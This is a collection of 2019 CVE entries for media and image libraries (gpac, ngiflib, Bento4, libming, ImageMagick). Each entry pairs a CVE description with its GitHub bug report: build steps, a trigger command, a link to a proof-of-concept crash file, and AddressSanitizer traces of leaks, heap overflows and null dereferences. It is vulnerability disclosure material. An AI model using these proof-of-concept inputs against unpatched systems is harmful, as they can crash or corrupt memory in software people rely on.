Tested in Ubuntu 18.04, 64bit, gcc 7.3.0, gpac (master d1c4bc3) Compile cmd: `$ ./configure --extra-cflags="-fsanitize=address,undefined -g" --extra-ldflags="-fsanitize=address,undefined -ldl -g"` `$ make` Triggered by `$ MP4Box -diso $POC` POC file: https://github.com/Marsman1996/pocs/blob/master/gpac/poc13-leak ASAN info: ``` ubuntu@ubuntu-virtual-machine:~/Desktop/crashana/gpac/gpac-d1c4bc3/build_asan$ ./bin/gcc/MP4Box -diso ../../poc13-leak [iso file] Unknown box type mo2v [iso file] Box "mvhd" is invalid in container mo2v [iso file] Box "href" is invalid in container dinf [iso file] Unknown box type stb. [iso file] Box "trik" is invalid in container stb. [iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping [iso file] Box "stpp" size 15 invalid (read 33) [iso file] Box "stpp" is invalid in container stb. [iso file] Unknown box type pts. [iso file] Box "UNKN" is larger than container box [iso file] Missing dref box in dinf [iso file] Box "dinf" size 44 invalid (read 494) [iso file] Box "trik" is invalid in container minf [iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping [iso file] Box "stpp" size 15 invalid (read 33) [iso file] Box "stpp" is invalid in container minf [iso file] Unknown box type pts. [iso file] Box "trak" size 128 invalid (read 714) [iso file] Unknown box type [iso file] Incomplete box UNKN [iso file] Incomplete file while reading for dump - aborting parsing [iso file] Unknown box type mo2v [iso file] Box "mvhd" is invalid in container mo2v [iso file] Box "href" is invalid in container dinf [iso file] Unknown box type stb. [iso file] Box "trik" is invalid in container stb. [iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping [iso file] Box "stpp" size 15 invalid (read 33) [iso file] Box "stpp" is invalid in container stb. [iso file] Unknown box type pts. [iso file] Box "UNKN" is larger than container box [iso file] Missing dref box in dinf [iso file] Box "dinf" size 44 invalid (read 494) [iso file] Box "trik" is invalid in container minf [iso file] Read Box type .... (0x01000000) has size 0 but is not at root/file level, skipping [iso file] Box "stpp" size 15 invalid (read 33) [iso file] Box "stpp" is invalid in container minf [iso file] Unknown box type pts. [iso file] Box "trak" size 128 invalid (read 714) [iso file] Unknown box type Truncated file - missing 1936916471 bytes Error opening file ../../poc13-leak: IsoMedia File is truncated ================================================================= ==93222==ERROR: LeakSanitizer: detected memory leaks Direct leak of 40 byte(s) in 1 object(s) allocated from: #0 0x7fed213dcb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x7fed1df0b7fa in dref_New /home/ubuntu/Desktop/crashana/gpac/gpac-d1c4bc3/src/isomedia/box_code_base.c:1012 SUMMARY: AddressSanitizer: 40 byte(s) leaked in 1 allocation(s). ```

AddressSanitizer: memory leaks of dref_New()

https://api.github.com/repos/gpac/gpac/issues/1183/comments

2018-12-17T15:51:57Z

2019-09-20T21:34:54Z

https://github.com/gpac/gpac/issues/1183

CVE-2019-16346

2019-09-16T13:15:11.823

ngiflib 0.4 has a heap-based buffer overflow in WritePixel() in ngiflib.c when called from DecodeGifImg, because deinterlacing for small pictures is mishandled.

https://github.com/miniupnp/ngiflib/issues/11

github.com

Tested in Ubuntu 16.04, 64bit, ngiflib(master 3bb9980) Triggered by `$ gif2tga $POC` POC file: https://github.com/Marsman1996/pocs/blob/master/ngiflib/poc13-WritePixel-heapoverflow ASAN info: ``` ==122089==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000002500 at pc 0x55dc592dfd89 bp 0x7ffc11226c20 sp 0x7ffc11226c10 WRITE of size 4 at 0x621000002500 thread T0 #0 0x55dc592dfd88 in WritePixel /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:123 #1 0x55dc592dfd88 in DecodeGifImg /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:544 #2 0x55dc592e1e3b in LoadGif /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:809 #3 0x55dc592dcdc4 in main /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/gif2tga.c:95 #4 0x7f29ccd05b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x55dc592dc169 in _start (/home/ubuntu/Desktop/crashana/ngiflib/ngiflib/gif2tga+0x2169) 0x621000002500 is located 0 bytes to the right of 4096-byte region [0x621000001500,0x621000002500) allocated by thread T0 here: #0 0x7f29cd1b3b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x55dc592e0a38 in LoadGif /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:627 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:123 in WritePixel Shadow bytes around the buggy address: 0x0c427fff8450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fff8460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fff8470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fff8480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fff8490: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c427fff84a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fff84b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fff84c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fff84d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fff84e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fff84f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==122089==ABORTING ```

heap-buffer-overflow at WritePixel() in ngiflib.c:123

https://api.github.com/repos/miniupnp/ngiflib/issues/11/comments

2019-04-13T13:37:39Z

2019-04-16T00:13:36Z

https://github.com/miniupnp/ngiflib/issues/11

CVE-2019-16347

2019-09-16T13:15:11.903

ngiflib 0.4 has a heap-based buffer overflow in WritePixels() in ngiflib.c when called from DecodeGifImg, because deinterlacing for small pictures is mishandled.

https://github.com/miniupnp/ngiflib/issues/12

github.com

Tested in Ubuntu 16.04, 64bit, ngiflib(master 3bb9980) Triggered by `$ gif2tga $POC` POC file: https://github.com/Marsman1996/pocs/blob/master/ngiflib/poc14-WritePixels-heapoverflow ASAN info: ``` ==122092==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6150000002a0 at pc 0x55f220dc8d87 bp 0x7ffeb9b2bb80 sp 0x7ffeb9b2bb70 WRITE of size 4 at 0x6150000002a0 thread T0 #0 0x55f220dc8d86 in WritePixels /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:213 #1 0x55f220dcb5d1 in DecodeGifImg /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:568 #2 0x55f220dcce3b in LoadGif /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:809 #3 0x55f220dc7dc4 in main /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/gif2tga.c:95 #4 0x7f1dcc2b9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x55f220dc7169 in _start (/home/ubuntu/Desktop/crashana/ngiflib/ngiflib/gif2tga+0x2169) Address 0x6150000002a0 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ubuntu/Desktop/crashana/ngiflib/ngiflib/ngiflib.c:213 in WritePixels Shadow bytes around the buggy address: 0x0c2a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c2a7fff8050: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2a7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==122092==ABORTING ```

heap-buffer-overflow at WritePixels() in ngiflib.c:213

https://api.github.com/repos/miniupnp/ngiflib/issues/12/comments

2019-04-13T13:39:52Z

2019-04-16T00:08:22Z

https://github.com/miniupnp/ngiflib/issues/12

CVE-2019-16349

2019-09-16T13:15:12.043

Bento4 1.5.1-628 has a NULL pointer dereference in AP4_ByteStream::ReadUI32 in Core/Ap4ByteStream.cpp when called from the AP4_TrunAtom class.

https://github.com/axiomatic-systems/Bento4/issues/422

github.com

Tested in Ubuntu 14.04, 64bit, Bento4(master cbebcc9) Triggered by cmd: `$ ./mp4tag --list-symbols --list-keys --show-tags $POC` POC file: https://github.com/Marsman1996/pocs/blob/master/bento4/poc19-ReadUI32-SEGV ASAN info: ``` ==14819== WARNING: AddressSanitizer failed to allocate 0x000ff00000c0 bytes ASAN:SIGSEGV ================================================================= ==14819== ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000046a233 sp 0x7ffc0a9ef970 bp 0x7ffc0a9efa00 T0) AddressSanitizer can not provide additional info. #0 0x46a232 in AP4_ByteStream::ReadUI32(unsigned int&) code/Source/C++/Core/Ap4ByteStream.cpp:243 #1 0x4e75d1 in AP4_TrunAtom::AP4_TrunAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) code/Source/C++/Core/Ap4TrunAtom.cpp:130 #2 0x4e713b in AP4_TrunAtom::Create(unsigned int, AP4_ByteStream&) code/Source/C++/Core/Ap4TrunAtom.cpp:51 #3 0x4627b9 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:414 #4 0x4611c3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:231 #5 0x479d0a in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) code/Source/C++/Core/Ap4DrefAtom.cpp:84 #6 0x479956 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) code/Source/C++/Core/Ap4DrefAtom.cpp:50 #7 0x463367 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:545 #8 0x4611c3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:231 #9 0x460b39 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) code/Source/C++/Core/Ap4AtomFactory.cpp:151 #10 0x47d6a6 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) code/Source/C++/Core/Ap4File.cpp:104 #11 0x47d1a9 in AP4_File::AP4_File(AP4_ByteStream&, bool) code/Source/C++/Core/Ap4File.cpp:78 #12 0x45546a in main code/Source/C++/Apps/Mp4Tag/Mp4Tag.cpp:821 #13 0x7f144e0c7f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44) #14 0x451308 in _start (bin_asan/bin/mp4tag+0x451308) SUMMARY: AddressSanitizer: SEGV code/Source/C++/Core/Ap4ByteStream.cpp:243 AP4_ByteStream::ReadUI32(unsigned int&) ==14819== ABORTING ```

NULL Pointer Dereference in AP4_ByteStream::ReadUI32() at Ap4ByteStream.cpp:243

https://api.github.com/repos/axiomatic-systems/Bento4/issues/422/comments

2019-08-18T06:57:23Z

2019-08-25T16:20:06Z

https://github.com/axiomatic-systems/Bento4/issues/422

CVE-2019-16705

2019-09-23T05:15:10.260

Ming (aka libming) 0.4.8 has an out of bounds read vulnerability in the function OpCode() in the decompile.c file in libutil.a.

https://github.com/libming/libming/issues/178

github.com

# Description An out of bound read was found in function OpCode(file util/decompile.c 957). # Details: ``` ==30829==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61400000f5d0 at pc 0x000000413ddb bp 0x7ffeb39e6460 sp 0x7ffeb39e6450 READ of size 1 at 0x61400000f5d0 thread T0 #0 0x413dda in OpCode /src/libming-afl/util/decompile.c:957 #1 0x415ab5 in decompileGETTIME /src/libming-afl/util/decompile.c:1506 #2 0x41ecc9 in decompileAction /src/libming-afl/util/decompile.c:3264 #3 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #4 0x41e83c in decompileSETTARGET /src/libming-afl/util/decompile.c:3169 #5 0x41f292 in decompileAction /src/libming-afl/util/decompile.c:3462 #6 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #7 0x419908 in decompileIF /src/libming-afl/util/decompile.c:2364 #8 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335 #9 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #10 0x41b85b in decompileIF /src/libming-afl/util/decompile.c:2656 #11 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335 #12 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #13 0x41b85b in decompileIF /src/libming-afl/util/decompile.c:2656 #14 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335 #15 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #16 0x41b85b in decompileIF /src/libming-afl/util/decompile.c:2656 #17 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335 #18 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #19 0x41b85b in decompileIF /src/libming-afl/util/decompile.c:2656 #20 0x41eef2 in decompileAction /src/libming-afl/util/decompile.c:3335 #21 0x41f37d in decompileActions /src/libming-afl/util/decompile.c:3494 #22 0x41f4b3 in decompile5Action /src/libming-afl/util/decompile.c:3517 #23 0x40bb42 in outputSWF_DOACTION /src/libming-afl/util/outputscript.c:1551 #24 0x40e171 in outputBlock /src/libming-afl/util/outputscript.c:2083 #25 0x40f1c7 in readMovie /src/libming-afl/util/main.c:281 #26 0x40f8fc in main /src/libming-afl/util/main.c:354 #27 0x7f51e85bd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #28 0x401998 in _start (/src/fuzz/swftocxx+0x401998) 0x61400000f5d0 is located 0 bytes to the right of 400-byte region [0x61400000f440,0x61400000f5d0) allocated by thread T0 here: #0 0x7f51e8f2279a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a) #1 0x42854e in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1062 #2 0x4289b2 in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1075 #3 0x4289b2 in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1075 #4 0x4289b2 in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1075 #5 0x4289b2 in parseSWF_ACTIONRECORD /src/libming-afl/util/parser.c:1075 #6 0x437ca5 in parseSWF_DOACTION /src/libming-afl/util/parser.c:2434 #7 0x40fb59 in blockParse /src/libming-afl/util/blocktypes.c:145 #8 0x40f116 in readMovie /src/libming-afl/util/main.c:269 #9 0x40f8fc in main /src/libming-afl/util/main.c:354 #10 0x7f51e85bd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libming-afl/util/decompile.c:957 OpCode Shadow bytes around the buggy address: 0x0c287fff9e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff9e70: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa 0x0c287fff9e80: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c287fff9e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c287fff9ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c287fff9eb0: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa 0x0c287fff9ec0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c287fff9ed0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c287fff9ee0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c287fff9ef0: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa 0x0c287fff9f00: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==30829==ABORTING ``` # poc file https://github.com/JsHuang/pocs/blob/master/libming/swftocxx/oob_read_decompile_957 # Credit ADLab of Venustech

Heap Buffer Overflow (OOB Read) in function OpCode decompile.c 957

https://api.github.com/repos/libming/libming/issues/178/comments

2019-02-28T08:05:46Z

2019-08-29T09:18:26Z

https://github.com/libming/libming/issues/178

CVE-2019-16708

2019-09-23T12:15:10.423

ImageMagick 7.0.8-35 has a memory leak in magick/xwindow.c, related to XCreateImage.

https://github.com/ImageMagick/ImageMagick/issues/1531

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description ``` ================================================================= ==15742==ERROR: LeakSanitizer: detected memory leaks Direct leak of 136 byte(s) in 1 object(s) allocated from: #0 0x7fadbfd0c79a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a) #1 0x7fadbcb0e220 in XCreateImage (/usr/lib/x86_64-linux-gnu/libX11.so.6+0x27220) Indirect leak of 48000 byte(s) in 1 object(s) allocated from: #0 0x7fadbfd0c602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x508cf3 in XMakeImage MagickCore/xwindow.c:5733 #2 0x82940c in XConfigureImage MagickCore/display.c:4449 #3 0x85e6bd in XDisplayImage MagickCore/display.c:15069 #4 0x81b445 in DisplayImages MagickCore/display.c:1705 #5 0x77475f in WriteXImage coders/x.c:202 #6 0x808fb6 in WriteImage MagickCore/constitute.c:1226 #7 0x8097ea in WriteImages MagickCore/constitute.c:1376 #8 0xbb0499 in ConvertImageCommand MagickWand/convert.c:3305 #9 0xc9c5ea in MagickCommandGenesis MagickWand/mogrify.c:184 #10 0x40e941 in MagickMain utilities/magick.c:149 #11 0x40eb22 in main utilities/magick.c:180 #12 0x7fadbbffc82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: 48136 byte(s) leaked in 2 allocation(s). ``` ### Steps to Reproduce ``` $ touch output.x $/usr/local/bin/magick convert Memory-Leak-2 output.x ``` then close the windows of ImageMagick. ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: 7.0.8-35 - Environment (Operating system, version and so on): Linux ubuntu 4.15.0-42-generic #45~16.04.1-Ubuntu SMP Mon Nov 19 13:02:27 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> [memory_leaks_2.zip](https://github.com/ImageMagick/ImageMagick/files/3012281/memory_leaks_2.zip) credit： ADlab of venustech

memory leaks in XCreateImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1531/comments

2019-03-27T08:51:13Z

2019-10-29T09:31:09Z

https://github.com/ImageMagick/ImageMagick/issues/1531

CVE-2019-16710

2019-09-23T12:15:10.580

ImageMagick 7.0.8-35 has a memory leak in coders/dot.c, as demonstrated by AcquireMagickMemory in MagickCore/memory.c.

https://github.com/ImageMagick/ImageMagick/issues/1528

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description memory leaks in AcquireMagickMemory ``` ================================================================= ==54549==ERROR: LeakSanitizer: detected memory leaks Direct leak of 13504 byte(s) in 1 object(s) allocated from: #0 0x7f1d5e55d602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x43f173 in AcquireMagickMemory MagickCore/memory.c:478 #2 0x412e4f in AcquireCriticalMemory MagickCore/memory-private.h:64 #3 0x4131c2 in AcquireImage MagickCore/image.c:171 #4 0x58026c in ReadDOTImage coders/dot.c:129 #5 0x805aeb in ReadImage MagickCore/constitute.c:547 #6 0x807c95 in ReadImages MagickCore/constitute.c:917 #7 0xad7412 in CompositeImageCommand MagickWand/composite.c:534 #8 0xc9c5ea in MagickCommandGenesis MagickWand/mogrify.c:184 #9 0x40e941 in MagickMain utilities/magick.c:149 #10 0x40eb22 in main utilities/magick.c:180 #11 0x7f1d5a84d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ``` ### Steps to Reproduce ./magick composite input1 input2 output.aai ### System Configuration 1、Linux ubuntu 4.15.0-42-generic #45~16.04.1-Ubuntu SMP Mon Nov 19 13:02:27 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 2、./configure CC="gcc" CXX="g++" CFLAGS="-g -fsanitize=address" - ImageMagick version:7.0.8-35 <!-- Thanks for reporting the issue to ImageMagick! --> [memory_leaks.zip](https://github.com/ImageMagick/ImageMagick/files/3002595/memory_leaks.zip) credit: ADlab of venustech

memory leaks

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1528/comments

2019-03-25T09:50:16Z

2019-10-29T09:32:23Z

https://github.com/ImageMagick/ImageMagick/issues/1528